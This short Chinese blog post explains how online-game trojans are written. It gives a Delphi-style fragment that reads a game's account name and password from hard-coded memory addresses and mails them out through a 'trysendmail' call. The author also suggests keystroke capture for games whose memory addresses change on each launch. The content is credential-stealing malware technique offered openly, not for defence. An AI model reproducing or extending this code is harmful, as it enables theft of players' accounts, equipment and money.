小談關於網遊木馬是如何寫的問題。

2021-09-30 02:07:07 字數 855 閱讀 5635

傳奇、奇蹟、大話西遊等等網路遊戲,害人不淺,掏盡了許多玩家的口袋,讓無數個成年或者未成年的人們墜入其中而不能自拔,而隨之而來的盜遊戲帳號以及裝備更讓許多玩家「痛不欲生」,籍此,本人粗談一下網遊木馬是如何寫的,如有不妥之處,還望大家海涵。

username:=trim(getmem('03fb2088',16));  //「刀劍」的帳號存在的記憶體位址

password:=trim(getmem('03fb20b8',16));  //「刀劍」的密碼存在的記憶體位址

if (length(username)>3) and (length(password)>3) then

begin

if (length(username)=length(oldusername)) and (length(password)=length(oldpassword)) then

begin

trysendmail;

if istrue then exit;

istrue:=true;

end;

oldusername:=username;

oldpassword:=password;

username:='';

password:='';

end;

順便看了一下「大話西遊」,因為現在網上「大話西遊」的木馬很少見的,在測試中發現,「大話西遊」每執行一次,帳號和密碼的記憶體位址就會變一次,這樣,做木馬的朋友就不可能通過抓記憶體位址的方法來獲得「大話西遊」的帳號和密碼了,也許在迫不得已的情況下,有的人會用擷取鍵盤錄入的方法來擷取了。

現在網上最多的莫過於傳奇的木馬了,而幾乎所有的傳奇木馬都是靠抓取記憶體位址來獲得角色和裝備的。

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